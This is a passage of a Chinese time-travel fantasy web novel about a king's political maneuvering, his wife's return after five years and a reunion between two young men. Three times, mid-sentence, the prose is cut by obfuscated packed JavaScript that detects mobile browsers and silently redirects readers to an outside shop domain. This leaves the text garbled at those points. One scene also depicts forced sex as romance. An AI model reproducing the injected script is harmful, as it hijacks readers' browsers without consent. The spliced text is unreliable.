风宿恒哼笑一声,凡心从袖中掏出请愿书递上。 “以前您说朝臣和君王也有博弈,我还不明其意,大容教不了这些,辛丰到是好老师。”凡心道:“这下马威给的矫情,血书都上了,‘非经背圣,不正邦典’这种话都说得出口,就不怕爹爹登基后先拿他们开刀?” 风宿恒一目十行,看完也不恼:“这是辛丰的沉疴,历来新王登基,生怕帝位不稳,首务要料理那群兄弟,至少三年内不得不依仗朝臣支持,所以他们有恃无恐,一开始就要给新王做规矩。” 收起血书还回去:“他们挑别事拿捏,我愿陪他们玩两年,唯有婚事却是挑错了。” 这几年他往辛丰朝堂插的人手不算少,但没入中枢,想要皇位平稳过渡,只要内阁不玩出格,不妨遛着他们慢慢换血。 凡心道:“张之幸年纪大,头脑到还清楚,走时失魂落魄,想来回辛丰后会将这里的见闻一一传达。” 风宿恒道:“张家也算我母家远亲,唬他得悠着点。” 凡心摊手:“下了挤猛药。三日前莱茵谴使,今日让他们一并见了。” “莱茵来人了?”风宿恒挑眉:“怎不跟我说?” “不跟爹爹来汇报了嘛!”凡心道:“这几日您要奔丧,要力压皇子,还要和一帮老家伙周旋,回来大容又不见人,我都没逮到机会啊!我今日把张之幸唬得够呛,再让他旁听一段,很快辛丰这群烦人精就会知道,都什么时候了!强敌压境,大容在飞速发展,只有他们还在纠结陈规陋习。张之幸回去会当我们的嘴,会警告所有人,再闹,辛丰就是自掘死路。加上父皇送他们的大礼,相信很快就轮到那些老臣倒笈相迎,哭着求着让爹爹回辛丰即位。” 让人自惭形秽的最佳方式,不过是重重的降维打击,且妙就妙在当弱者知道自己倾羡的对象居然也是被打击的一方,就会产生由衷的战栗!并选择尽快与之结盟,而将原本可能投射在它身上的嫉妒和敌意转嫁给新来者。 单这一桩,他就从风宿恒处学到不少。 真是草蛇灰线,一埋数年。 “过去想当辛丰王是为了你母亲,如今用不上了,但这个王位我不能弃。”几年前谈论辛丰时,风宿恒曾说:“大容发展再好都有致命伤,大容太小,人口和资源都有限!辛丰拥有丰富的铁矿和铜矿,也有足够的土地发展工业,大容与之合并才是正道。但统治辛丰要比大容难得多,辛丰人无法接受君王终生不娶,和百年风俗相抗,是我必须过的坎。” 凡心:“爹爹早想好对策了不是吗?” 当时风宿恒只道一句:“习俗要用舆论破。” 彼时他似懂非懂,这些年旁观他布局,才算学个明白。 对辛丰贵族常年贿赂渗透,可以保证他们在关键时即便不帮忙,也不至于帮倒忙。 而五年前设立的鸿雁司搜集的信息极为有用——筛出和大容常年有大额交易的三百家辛丰商户,那是和大容贸易而发家致富的群体。他们对大容的好感基于利益,因此相当稳固。这三百户分布各行各业,经过几年培植,泰半成为辛丰商界的领军人物。 内阁老臣可以跪朝阳门,可以写血书逼迫大皇子必须立后才能即位,但很快他们就会发现,他们身后会跪下更多人。 那是奋起请愿的海潮般的百姓! 百姓们会跪内阁、跪老臣,要他们别再逼迫,速速将人迎回朝。 大容王又不是无子,只是不娶而已,这点事与他带给大容的财富比,与辛丰因他而迎来的繁荣比,又算什么? 是谁在阻碍辛丰百姓过上大容人那样的好日子? 不娶的大皇子吗? 不! 是这些冥顽不灵、不合时宜的老臣们! 凡心看明白了,风宿恒真正的狠厉不在于他的武力,而在兵不血刃。 他是布局者和获益者,自有一种叫“民意”的东西为之出头,整治所有挡路的人,而最厉害的是被利用的民意即便知道被利用也会甘之如饴,因为那是心声,全然符合大众的利益。 这就是这几年风宿恒对辛丰皇位不怎么上心的原因,因为那早就是他棋盘上吃死的子,当年布完局就不再操心,静待结果便好。 凌潇帝已停灵六日,第八日出殡,也就这三日里,成果会呈现,待他攫取。 所以此时此刻,爹爹才有时间来告别自己的妻。 毕竟当上辛丰王,他再不能像过去五年那样常驻回真洞,至少之后几年不行。 凡心收拢心神,继续听风宿恒道:“……你没有想错,强敌没现身前这只是中土各国间的矛盾和博弈,但出现更强盛的文明,中土就受到威胁,不团结历史就会重演。” 凡心笑出声:“历史?爹爹说的哪段历史?甲午战争大败?还是八国联军侵华?那是近代的事,距我们至少千年,我们才是历史好吗。” “你没发觉吗?”风宿恒抬眼朝他看来:“历史的进程早就乱了。东方茹毛饮血的时代,西方不可能装甲舰炮,同时期不同地域的发展会有差异,但不至于一个天一个地,莱茵的实力大大超前,而中土……” 凡心哀叹:“中土不至于茹毛饮血吧!” 风宿恒:“中土尚处于冷兵器时代,和莱茵差距太大了。” 凡心不服:“可大容也有战船、火炮和钢枪,我们怎算冷兵器时代? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099508|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 风宿恒定定看着他:“这些东西的出现是基于必然?” 凡心像被真相卡了脖子,说不出话来。 他被点醒了! 如今中土出现的所有划时代的东西,都不是历史发展的结果,而是因为一个偶然。 因为栖真的穿越! 她作为一个未来者来到此地,才带来远高于这个时代的文明。 凡心艰难道:“爹爹的意思是……” 风宿恒:“我相信这世上能成一次的事,就能成两次。栖真来到中土,将中土的进程往前拉拔了上千年,别的大陆又为何不能得到同样的馈赠?” “妈妈之所以来到中土是因为你的转世,雷恒,给她下了一个契印——只要她在现代遇到危险,面临生死,就会被带到中土由你守护,可她是在天台上为抓我而坠楼,所以……” 风宿恒道:“所以这个偶然也许并不落在栖真身上,而是落在……” 凡心受到冲击,喃喃自语:“落在我身上?” 栖真因他才穿越,那他又为何来到中土呢? 凡心忽然觉得自己身上也有迷,这让他感觉惊悚:“我一直以为是容伯舒,是他通过炼魂鼎把我召来,当时他们需要祭童。” “我问过容绽,不是!容伯舒并未参与,容绽觉得他叔父也没有通过炼魂鼎召集祭童的能力,所以只有一种可能。”风宿恒盯着凡心:“所有的祭童都靠一种神秘的力量聚集,容伯舒只是一个不明就里的接收者。” 本不想今天探讨这些,但莱茵来了使臣,风宿恒有预感,中土的未来将不再囿于中土本身。要洞察那些未知大陆的真相,探索人家文明的进程,兴许从这个时代到底接收了多少穿越者,及背后到底靠什么力量驱动,才是更见本质的方向。 风宿恒道:“如果这种力量可以为大容招徕未来之人,又为何不能为其他国家带人呢?” 院中彻底静下,只有风入胡林刮过小院。 凡心没想到今日的谈话会超出预期,他原本只是来汇报今早的事,好让爹爹准备回辛丰登基。 “起风了。”风宿恒看向院外,语气沉沉:“这个世界的进程,已经乱了。” 凡心尝试从纷乱中抓住一些思绪:“爹爹,您早一日说这些,我兴许还要驳一驳,但现在我觉得您的质疑是个值得思考的方向,我今天……”顿了一下,脑海里浮现一双摄人心魄的眼睛:“……见到了莱茵使臣,冯·诺依曼伯爵,我觉得冥冥中确实有种力量在支配一切,我参不透那是个什么局,也参不透其中的深意。‘宿命’,如果一定要用一个词来形容,我想说,这大概就是世人感叹的“宿命”!” 这个问题可能终其一生都没有答案,凡心今天的心思本不在这里,于是结束话题,问风宿恒回不回回真洞。 走前,他在院中等风宿恒回屋收拾一下,这几日爹爹睡在这里,而一下次来可能又要半年后了。 凡心踢着院中石子,对屋内喊:“爹爹,这处为何起名‘真爱祭酒’?” 上次来就看到檐下木匾,觉得挺有意思。 屋内没搭腔,一番铺床和摆放的杂声后,风宿恒换了身更合王者身份的锦袍出来:“问你娘。” 凡心跟在身后悄悄翻白眼,就是不想告诉他嘛! 两人御剑回回真洞。 每年八月十六,他们三人会齐聚洞中,午夜才散。 因为他们心里怀着一个念想,只不过年复一年,没有一次得到实现。 凡心坐在洞里,看了眼伏案不歇、奋笔疾书的容绽,又看了眼远处坐在高台石座上酒壶轻磕、自酌自饮的爹爹,最终将视线投向洞壁,五年的思念都挂在墙上,换了一批又一批,墙角的卷轴早堆到放不下。 从头看一遍这些画,半天就过去了。 凡心瞥了眼桌上的钟。 17:51。 现在御剑,回到万丈城也要晚上十点后了。 他掐着合谷,心里盘算。 这是他们等待的一种仪式,可他妈要回来早回来了,他不是放弃,他当然不可能放弃,但如果因为今日提前一个时辰离开就碍着他妈回来,打死他也行。 凡心起身和风宿恒说有事想先走,自然得了允,可他终究是牵挂的,出洞又回来,关切道:“爹爹少喝两口吧,妈妈不喜欢您喝太多的。” 风宿恒垂着眼:“她能少喝两口……我就谢天谢地了。” 凡心再次往洞外走时还在心里嘀咕,觉得爹爹这话有点赌气……可有什么气可赌呢? 路过时,他跟容绽也打了声招呼,期间,又不经意瞥了眼时钟。 18:01。 凡心心里默念:妈妈对不起,我先走了! 刚跨出洞就听身后轰隆,像什么东西砸进洞中。 回头一看凡心彻底傻了,这景象太过奇幻! 五年前将栖真带走的舱室,不知从哪里来,居然凭空出现在原地。 舱门缓缓打开。 而石座上,已经看不到风宿恒的身影了。 227. 第 227 章 凡心掠至舱门,和闻声惊起的容绽撞在一起,容绽脸色煞白,摸上舱门的手都在抖。 “别进来!” 舱内风宿恒一声暴吼,把凡心惊住了,爹爹从不这样暴怒,舱内一定发生了可怕的事! 狂肆的气流把两人吹得趔趄,容绽慌了手脚,一时也被吹地倒退几步。 乱流里,舱内荧光大盛,无法直视。 那是顶级疗愈术散发的光芒! 凡心嗅到舱内漂出的陈腐味,夹着浓烈的血腥气,难闻欲呕,他护眼挡住迅猛的气流大吼:“妈妈怎么了?受伤了?” 容绽有能力破开乱流,但他不敢,伤到舱里人怎么办?急道:“风宿恒!” 舱里荧光渐歇,风宿恒抱着人大步出舱:“她没事,我带走了。”说罢御剑,转瞬消失在西方。 “等等!”容绽循着动静,几步抢前却阻不了他。 凡心一时不知该喜极而泣还是惊恐莫名:“是妈妈回来了,受了伤!” “伤得重吗?”容绽抓住他。 不知栖真伤在哪里,被爹爹抱出来时就见她胸口到衣服下摆全是血。 “爹爹不会拿妈妈生命开玩笑,带她走就一定是治好了。”凡心这点自信还是有的。 “他们去哪里?” 纵使一样着急,凡心还是竭力安抚:“容叔叔,爹爹连我都不让看妈妈一眼,我想他们一定有很多话要说,等一会儿吧。” 顿了顿,又补充道:“也许得等上一两天……或者四、五天。” 栖真醒来时脑里翻江倒海,时空穿梭的压迫感还在,耳边充斥着嗡嗡声。 在穿梭仪里的最后一小时撑得太辛苦,每吸一次气都像在凌迟,恢复意识后身体还在下意识规避吸气的动作,直到有手帮她撸顺胸口。 “真真吸气,别憋着,吸气。” 熟悉的声音抚慰了她,栖真知道自己安全了,紧绷的感觉渐渐散去,她终于放松下来。 浑身冰凉,想抬手都没力气。很快热气罩脸,滚烫的身躯拥住了她。风宿恒的怀抱和声音是救命稻草,是她拼尽全力,忍着五脏六腑的腐蚀和强烈的恐惧,穿越千年才抓到手的。 她挣扎着叫他,与他贴紧面颊。 “我在,我在这里!”风宿恒泣不成声,他想象过无数次重逢的画面,却发现这一刻让他如此难受,这辈子他都不会忘记适才在穿梭仪里看到栖真的第一眼。 栖真:“你……没用……炼魂鼎吧?没……伤到自己?” 风宿恒热烫的呼吸啄在她唇边:“没,没有,你说的我都记着。” “容绽他们……救回来了吗?” “都好好的。” 栖真阖眼:“好……累。” 疗愈术能将毒气腐蚀的内脏治愈,但没法让她从极度的疲惫中恢复。 “睡吧,我守着你。”大掌覆上栖真额头,伴她沉入深眠。 醒来时室内只有萤弱烛火,和风宿恒在昏黄光晕下凝视的眼,他一动不动坐在床沿,执着她的手,五指交握。 这场景很熟悉,曾经她从重伤中苏醒,风宿恒也是这样守在床边。 栖真有些恍惚,看了眼房内陈设,认出这里是真爱祭酒。 桌上的白瓷瓶还插着她上次来时摘的大捧红梅,窗棱上还挂着她亲手做的木风铃。 风吹过,夜阑人静,微微伶仃。 岁月静好,像什么都没发生过。 栖真轻轻拨动风宿恒的指:“每次你都守着我。” 室内有安眠香,栖真在恬淡的香气中感受到,她真地回来了! 她看了眼,毯子下的自己没穿衣服。 “换了衣服擦过身,你一直在出虚汗,就不帮你穿了。” 温水和清食备在桌上,栖真裹着毯子被风宿恒扶起,进过食才觉舒泰些。 她让风宿恒上床,窝进他怀里后泪流不止:“对不起,我没能护好我们的孩子,他还那么小,可他竟用那点精魂助我觉醒。” 能成功回来,不代表没有后怕,她最大的损失就是失去了好不容易怀上的孩子,那是风宿恒真正的骨肉! 风宿恒低喃中带出深沉的情绪:“真真。” 事情太复杂,不可思议的程度常人难以接受,但风宿恒不是普通人,他有足够的耐心听她说。 于是栖真把发生的一切说与他听。 栖真最后感叹:“以前我不信转世之说,太虚无缥缈,可现在由不得我不信!雷恒是你的转世,我是公主的转世,我俩又在古代相遇,你说这是不是‘宿命’?” 风宿恒沉默,直到栖真说完很久,也没听他评上一句。 栖真:“我好好养身体,我们一定会再有,我要为你生孩子,我们值得有个孩子。” 风宿恒终于从某种定身的咒语中回神,抚着栖真的发,轻声道:“你只有三十岁,别担心这些,其实……我很高兴。” 没了孩子,有什么好高兴? “我说了那么多……你有什么要问我的吗?”栖真疑惑。 风宿恒用一种让栖真觉得陌生的语气:“真真,你为了给孩子报仇,把重离扔在那里?” 栖真在他怀里直身,严肃道:“重离在骗我,吞噬者根本没有离开他的身体,它装出博士的样子,就为了说服我带他过去。我怎么能带他躺进安置舱?一旦躺进去,吞噬者就真地回天宫了。” 她想让他明白事情的严重性:“那样才是害了天宫所有的人!” 风宿恒直直看着她:“你确定吗?你确定那一刻吞噬者还附在重离身上?” 栖真吃惊:“你不信我?这有什么好不信?重离在台上爬的时候,我亲眼见到他的眼睛变回了蓝色的机械瞳。” 风宿恒:“我知道博士对你何等重要,用这种方式杀死吞噬者,重离也就死了。我怕你难过,也怕你后悔。” 栖真心怦怦跳,冷汗出来了。 说这些话的风宿恒有些违和,可她说不出原因。 栖真压下心底慌张,顺着风宿恒的意思说下去:“你说得没错,可当时没时间让我思考,我只能顺着心意做出选择。还是你觉得我应该带他回安置舱,甚至,我应该和他一起躺回去?” 风宿恒把栖真按倒:“你觉得我是这个意思吗?你不是公主,你不会躺回去,你不可能选择天宫。” 栖真有触底反弹的挑衅:“那个世界有永生。” 风宿恒眼神要吃人:“那个世界没有我。” “你还凶我!”栖真绷不住,泪水滴落,“今天遇到那么多事……你还气我!” 不常哭的,三年里忙都忙不过来,矫情的眼泪自然少了,但只要一哭,风宿恒就会使出浑身解数哄她。 但今晚的风宿恒不一样。 他不哄,甚至无话,只是定定看着她。 违和感又漫上来。 他在想什么? “阿畅不要这样,别这么看我,你到底怎么了?” 栖真呢喃:“我们才一天没见,我就消失了五个小时,你就变了个人似的。” 她忽然想起来:“你被吞噬者控制,现下都好了?” 为了摆脱吞噬者,风宿恒血溅当场的一幕就在眼前,她必须确认他没事。 栖真:“给我看下你伤口。” 光线幽暗,但够她看清。还好,除了有浅淡的不规则印记,和其它一些熟悉的陈年旧疤外并无新伤。 栖真松了口气:“这印记是怎么回事?今早还没有的。” 话音未落,狂风暴雨般的吻落下来。栖真知道他什么样,很快发现今晚没有情趣,她好疼! 栖真开始挣扎,可在风宿恒面前不算什么。 她总不见得真和他打。 今晚不该这副模样,他知道她今天遭了多少罪,温柔才合适,如今这样难道是想惩罚她? 可栖真还是屈服。行吧,她遭罪,她男人又何尝不是?等她的五个小时里,他是不是以为彻底失去她? 若顺从可以让他缓和,她就忍着,就给他这份确认。 栖真抱着这种想法,直到风宿恒用上力才惊觉不对,可她没办法了,开始还忍,后来大叫。 “别……”她睁着迷离的眼投降。 今晚身后沉默无声,力量却是绝对的,房中只剩泣不成声的呜咽。 栖真彻底迷失神智,醒来时日头过午,都隔日了。 风宿恒穿戴齐整坐在床沿,照旧五指相扣握着她。 好歹这次帮她穿了襦裙,可腰背还是酸到让栖真怀疑人生,不禁怒上心头:“你做什么这样?我刚没了孩子你就这样?你这混……!” 她忽然噤声,眼底闪过轻微诧异,抚上风宿恒的鬓。 昨日醒来光线昏暗没注意,现下光天白日,一切无所遁形。 栖真只觉不可思议:“不是吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111905|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风宿恒黑发间夹着些许白丝,不明显,光线下看着却有些扎眼。 心无来由地抽痛,栖真对上风宿恒的眼:“就半天时间…这么焦虑吗?” 风宿恒欲言又止,眉眼间浸着淡淡哀伤。 栖真终于发现眼前人的容貌好像有些变化,眼角褶皱多了一尾,双眼波澜不兴如无波古井。 轻抚风宿恒面颊,她玩笑般道:“就一日,我的阿畅怎么老了几岁?” 风宿恒覆住她手,轻声道:“不是一日。” 栖真双眸微瞪。 “是五年。”风宿恒握紧她指尖:“你走了五年。” 栖真一顿,笑出来,摇头道:“宿恒,我不是存心骂你混蛋,你确实混,可也用不着和我开这种玩笑。” “真真。”风宿恒眼皮微垂,掩住黯淡的眸光:“我等了你整整五年。” 他说得认真,脸上没有任何玩笑迹象。 栖真揉了揉太阳穴:“我昨天早上去见重离,晚上就回来,穿越过去就待了五个小时。” 风宿恒道:“对你而言是五个小时,对我们却不是。” “五年前的昨天,八月十六日,你在洞中消失;五年后的昨天,你回来。”风宿恒哑声道:“我等了你一千八百二十五天。” 栖真审视风宿恒的脸,岁月的痕迹在他面容显现,白发、皱纹……昨晚她怎会毫无察觉? 坐起身,栖真震惊。 “五年?”她盯着已有水渍侵蚀的墙面细想,再抬头时急着求证:“我很确定,我到洞里说了一会儿话就和重离出去,然后回舱,最多几分钟。然后我给穿梭仪加充成功,开启了穿越程序,后面一直有计时,我数着屏幕上的时间一秒一秒过,我一直看着时间翻动到最后一刻。真的是五个小时,不是五年!” “真真,凡心二十一了,去年行的冠礼,已掌大容两年。可能宫、大容、中土……都和以前不一样了。可你没发觉吗?你一点没变,还是那么年轻漂亮,完全是五年前的样子。”风宿恒与她额头相抵:“我很高兴,变老的只有我一个,你不知我发现这点时有多庆幸。” 栖真骇然:“不,我不信!风宿恒,别和我开这种玩笑!” “我不会和你开这种玩笑。”风宿恒沉声道。 栖真愣了许久,力气被徒然抽走,抱住风宿恒大哭:“就骗我吧!你骗我的吧?什么二十一了,什么只有你一个人变老?我不要这样,我不要年轻漂亮,我们是一起的啊!” 两次了! 已经两次了! “你说你又等我五年?加上以魂伺鼎的五年,所以我欠了你十年?风宿恒!我欠了你整整十年?”栖真哭到窒息:“你要我怎么相信?宿恒,我怎样才能把这十年还给你?” 风宿恒摩挲她背:“没有你就没有我的一世,我原本就为你而存在。” 什么意思?栖真看进他的眼:“你还有什么事瞒着我?” 风宿恒道:“雷恒是我的转世,你说对了,但有一点你也许不知道。” 他眼中有翻涌的感情:“阿恒,宿恒,雷恒……” 意识到风宿恒在说什么,栖真瞠目:“我在五个小时里想过这个,可你、你怎么猜出来的?” 风宿恒摇头:“我是他们,他们是我,时间一到我自然知道。这是本能,不用猜。” “什么时候知道的?” “五年前,你走的那天。”风宿恒道:“我脱离吞噬者控制,看你随穿梭仪消失,我脑中涌进很多画面,就什么都知道了。” 栖真悲从中来:“所以这五年……?” “是,我用五年时间让自己接受;让诺亚、中土和现代的知识在脑中积淀,我就这样过了五年。如今的我,才是你说的整个中土都找不出第二个的风畅。” 栖真哭到不能自己:“在洞底等待的时候,我就想我要怎么办啊!我有了天宫的记忆,变得不再是自己,可现在你说你也拥有三世记忆?” “世上真的存在‘宿命’这种东西的话……”风宿恒攥着栖真的手,按在自己心脏处:“我不怕成为一个有着三世记忆的怪胎,只为与你相伴,所以真真,时间于我从非束缚,命运偷了我十年,是为了让我拥有你的未来。” 栖真无所适从,需要时间消化,可她心都痛死了。 风宿恒有数不清的好,其中一项就是从不重视自己的牺牲,栖真恨死这点,简直不知如何爱他才好。 228. 第 228 章 凡心很了解爹娘,说他们几日不会出现就一定不会出现。 是夜,金光万丈城蝉鸣阵阵,白日暑气渐消,一道人影匆匆御剑,落地官驿后院。 早过亥时了,后院昏暗,只有小径边的石砌脚灯散发昏昏黄黄的光。 凡心隐身竹林,偷瞧二楼烛火未灭的上房。天热,好几间敞着窗,传出细碎声。 很快,其中一间熄了光。 从黑洞洞的窗户跃进去,悄无声息落地,反手将窗关上。他没往里屋去,就在外间桌边屈指往桌上磕了磕,像在提醒里面来了人。 谁知叩了两声,房内毫无动静。 凡心握拳到唇边轻咳。这声一出,只要房里人不是睡得太死,总能知道来了不速之客,但奇怪的是黑漆内间仍无声响。 凡心挠鼻,用正常音量道:“五年了,还不肯原谅我吗?” 这么说了一句,没等来回应,他自己心头到先升起灰心丧气,赌气般转身要走。 手刚摸上窗棱,就听身后一道冷冰冰的声音:“让你走了吗?” 一股大力推上凡心背脊,将他抵在窗上,低醇的男声在耳际响起:“诚意呢?” 凡心双手投降,哼哼唧唧玩笑道:“我哥威武!” 头顶被人横拍,男声不悦道:“谁是你哥!” 终于得以转身看身后,觐见时穿的军装早已脱下,男人就着黑色丝质衬衣,下身是包裹长腿的军裤,胸口解开两粒扣,露着结实的胸膛。 顺着蜜色的胸膛看上去,修长的脖颈上是熟悉的脸。浓粗的剑眉,高耸的山根,连着下面的鹰钩鼻。嘴唇微薄,唇角天生翘起,但这副喜感的翘唇没带来多少面善,还是这么一本正经。 不过与入梦来的面容不同,过去的黑瞳变为蓝眸,脸部早已脱离少年的稚气,是一张成熟的男人面孔了。 心头泛起酸楚,凡心太清楚,除了被缠地受不了时会出现无可奈何的气闷表情,外送一个大白眼外,其他时候,就别想在这张脸上看到太多外露的情绪。 所以驼暮山最后一晚,对方脸上显露的惊诧和厌恶,在凡心心里硬生生扎根五年。 室内烛火再次亮起,凡心站在窗边抿唇,凝视回去点灯的背影,朗声抱臂道:“弗朗兹·约瑟夫·冯·诺依曼……伯爵?” 男人在椅上坐下,一臂搁在桌上,投在地上的黑影是凡心两倍大。 他们一站一坐,对视着,一时半会儿都不说话。 凡心在这样的审视中喉头发紧,站直道:“朝堂相见也行,不打扰你休息了。” “以前……”男人终于开口。 凡心呵一声,抢在他说下去前大大咧咧道:“小时候的事了,说过的话、做过的事哪能过心?纵使有对不住你的地方,就让它过去吧。” 冯·诺依曼静了很长时间才道:“那你走吧。” 负气推窗,凡心一顿,又啪一声甩上,回桌边大喇喇一坐:“你让我走我就走?” “我得问问你!”他看着自己投在地上的影,和旁边并排小一圈,这让他非常不爽:“那么多年,你一直知道自己的身世?” 冯·诺依曼:“嗯。” 凡心不客气地嘲讽:“除了装哑巴,还会装失忆。” “只是没必要。”冯·诺依曼淡淡道。 只是没必要说太多,没必要暴露自己。 “为何不早点回你的地方去?”凡心垂眼,有点被这句“没必要”伤到:“没失忆,何必在中土待八年?” 冯·诺依曼也看着地上一双鲜明的影,提醒他过往形影不离的岁月。一个人有多少八年?他留下,总有花费八年都值得的原因。可这理由不能问,尤其不能被理由本身这样明知故问。这让他不舒服,很不舒服,像出独角戏。 可从来都是那理由大言不惭追在他后面,也是那理由不要脸地装醉抱他。 “何必在中土待八年……”冯·诺依曼冷道:“不知道就没必要问,知道又何必问!” “楚盟,楚冀望。”凡心看向冯·诺依曼刚毅的侧脸,终于叫出过去开开心心唤过无数次,此后经年深埋心间的名字:“从小你就喜欢跟我怄气,跟我冷脸,喜欢看我掏心掏肺。” 五年太漫长,足够把人熬成火山,他还有什么好怕?他什么都不怕! 凡心攫住楚盟放在桌上的手腕:“我说过,我爹爹对娘亲怎样,我对你就怎样!也说过,即便今天有扇时空之门在面前,我也不会扔下你独自离去。以前你当我小孩,总不屑我的话。可最后我做到了所有的承诺,最后厌恶我、不接受我、抛下我的是你!” 凡心到楚盟面前,不客气地抓住他领口,眼中喷火:“离开了又为何要出现?什么莱茵,什么伯爵,今日朝堂送战书就这样逼我?八年卧底,你明知中土难抵莱茵,便堂而皇之来收割,想肆无忌惮拿回自己的战利品吗?” “纠正两点。”楚盟对上凡心冒火的眼,不急不缓道:“主动招惹莱茵的是中土,主动招惹我的,是你栖凡心。” 大手伸到凡心后颈用力揉了一把,猛然将他拉近,楚盟眸中闪着猎者的锐光:“我就是来收割中土,和你!” 不顾挣扎,他抱住自己的战利品,用五年相思的力度。 地上分离的影终于合为一体。 …………… 风宿恒用了五年时间接受“宿命的安排”,栖真连五天都没有。 对风宿恒的等待,对他们错失的五年,并非获悉时的震惊和心痛能一笔带过,那是无尽的绵绵钝痛。两天前她还跟风宿恒满怀感激地说“我的人生真是圆满”,两天后就再遭命运捉弄,让她泪流成海。 “真真,你觉得这是一出悲剧,因为你认为我白白蹉跎五年;我却觉得这是出喜剧,因为不过一天光景,你就收获自由、力量和一个更加无所不能的老公。”风宿恒柔声安慰趴在床上的栖真:“好了,哭两天眼睛都肿了,怎么当新娘子?” 栖真在灯火下露出红肿的眼,风宿恒不说还好,一说更惹她捶床:“没想要我老公有一天能跟我说什么悲剧喜剧!我都接受了古人的阿畅,现在你这么跟我说话……”又哇一声哭出来:“我不习惯啊!” “一早说过,一辈子还长,慢慢认识。别人一生嫁一个,你这辈子嫁三个,多有乐趣?”风宿恒抚弄栖真耳垂:“我们七年之痒都跳过,都老夫少妻了,真真不是大大赚到?” 这话触动栖真神经,眼泪遏制不住,她快被风宿恒看似有理、实际戮心的话搞得歇斯底里。 风宿恒扯下她襦裙的肩缕,在肩头亲了一口:“休息几日,养好身体就大礼。我盼八年了,我的皇后。” 在真爱祭酒时间是停滞的,别管外界纷扰,他们有足够工夫说话。两日里风宿恒抱着她、搂着她、让她趴在身上,诉了很多。 说这五年他和凡心、容绽轮流守在回真洞等她回来,而柳絮回他们已知她来自未来;说五届大容年货节办得盛况空前,如今大容商贸早已冠绝中土,玻璃、钢铁、火车、武器……科技发展不可同日而语;说凡心自掌大容来行事稳妥,是个有创意但不冒进的君主,拓盛世合适不过,战天下还缺口气;说可能宫提前完成让大容无一失学稚子的梦想,而万仞山财富已是麒麟穴两倍有余…… 两人靠在床头,栖真枕着风宿恒的肩,抠他亵衣上的带子静静听。纵有无尽欣喜,便有多少失落,被风宿恒问及感想时犹豫道:“我觉得我就推辆三轮车出来,结果一眨眼变动车,嗖一下开走,把我扔在荒野里。” 风宿恒握着她的手臂笑了半天:“你回来,我就不用身兼数职。成亲后想必你在辛丰皇宫待不住,传道的事归还于你。这些年我就誊写了八十一本,还有九百二十本,够你忙的。” 栖真支起身:“你知道安置舱?你进过那个样板房?” “这几年足够我把回真洞的功能摸上一遍。”风宿恒道:“回真山外壳是自然山体,里面却是电子神经元连接的完整机械体,许多功能我尚未摸清,但有件事我觉得挺费思量。” “什么?” “重离百年前坐穿梭仪来中土,你觉得这座电子山是他来前就有,还是来后造的?” 栖真没想过这个问题,愣了一会儿道:“穿梭仪本身就能完成穿越,所以山洞不像他从诺亚带来,可说博士能独自营造这样一个高科技洞穴,也不太像吧。” “同感。”风宿恒把她脑袋压回自己胸膛,有一下没一下轻抚:“万仞山本身就是谜团,无论回真洞,还是子石。” “子石!”这便提醒栖真,前几日在子石洞发现的那种影像石,是否已经得到开发? “产量没有文字石大,无法全国通用。”风宿恒道:“现下也就万仞山和大容皇宫摆了几组。将来倒可以在辛丰皇宫和万仞山也摆上一组。”· 栖真关切道:“真能实现远程通话?” “不止!”风宿恒向她宣布好消息:“以前你常说,文字石能实现双向传输就好了。文字石做不到,但我们发现,影像石可以。” 栖真果然又从他胸膛抬头:“影像石能双向?” “切一块下来,至少5乘5米,一分二,就能实现一对一双向传输。绝不串频,影像声音都清晰。”风宿恒道:“你想的全国直播做不了,但远程电话已实现!也亏得影像石,这几年我才能蹲守回真洞,通过石头与朝堂对话,省心不少。也就凡心,总喜欢动不动飞来找我当面聊。” 激动被心悸替代,栖真从风宿恒身上翻下去,装作枕到自己臂上,让衣料吸干眼角的湿。 “也许万仞山的石头有向量场,所以能实现传输,中土还有没有类似的山体不得而知。”风宿恒取过床头放置的帕子,这几日太需要帕子了,在栖真脸上按了按:“而且将来回真洞还得着人守着,不能允人进出。太过先进的文明降临蛮荒之地容易引起恐慌,由此生出鬼神之说或宗教崇拜都是额外的精神消耗,并无太大意义。” 栖真索性取过帕子遮眼,语气夸张:“看你说话的调调,我以为在面前的是重离。” “所谓智慧,不过是以多些维度解读事情。”风宿恒将她泪湿的发拨到耳后:“你不习惯,我却庆幸。不能你打通任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125453|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 督二脉,我还是古人,同步才能沟通无碍。你曾说我们的婚姻要跨越时代的差距,是最难维系的。现在这种差距没有了,你随意表达,我都接得住,不好吗?” 栖真拿下帕子,捧住风宿恒的脸,从眼到鼻到嘴全部扫过,凑上去亲个难分难解。 